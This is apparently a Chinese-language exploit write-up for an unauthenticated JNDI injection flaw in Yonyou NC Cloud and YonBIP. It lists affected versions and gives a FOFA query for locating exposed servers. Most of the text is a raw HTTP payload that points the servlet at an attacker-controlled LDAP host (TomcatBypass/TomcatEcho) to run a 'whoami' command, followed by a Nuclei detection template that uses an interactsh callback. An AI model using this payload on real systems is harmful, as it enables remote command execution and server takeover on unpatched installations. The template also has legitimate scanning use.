Y17-1用友-YonBIP-JNDI注入

漏洞描述：

用友NC Cloud及YonBIP 系统PMCloudDriveProjectStateServlet.class接口处存在JNDI注入漏洞，未经身份验证的攻击者可通过此漏洞可以在服务端执行任意命令，获取服务器权限。

影响版本：

NCC2105
NCC2111
YonBIP高级版2207
YonBIP高级版2305

网站图片:

网络测绘:

fofa语法：

FOFA：app=“用友-NC-Cloud”

漏洞复现:

payload：

POST /service/~pim/PMCloudDriveProjectStateServlet HTTP/1.1
Host: your-ip
cmd: whoami
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Connection: close

{
    "data_source":"ldap://vpsip:1389/TomcatBypass/TomcatEcho",
    "user":""
}

效果图:

Yaml模板

id: yonyou-NC-Cloud-JNDI

info:
  name: 用友NC Cloud及YonBIP PMCloudDriveProjectStateServlet JNDI注入漏洞
  author: WLF
  severity: high
  metadata: 
    fofa-query: app="用友-NC-Cloud"
variables:
  filename: "{{to_lower(rand_base(10))}}"
  boundary: "{{to_lower(rand_base(20))}}"
http:
  - raw:
      - |
        POST /service/~pim/PMCloudDriveProjectStateServlet HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
        Content-Type: application/json
        Connection: close

        {
        "data_source":"ldap://{{interactsh-url}}",
        "user":""
        }

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
        condition: and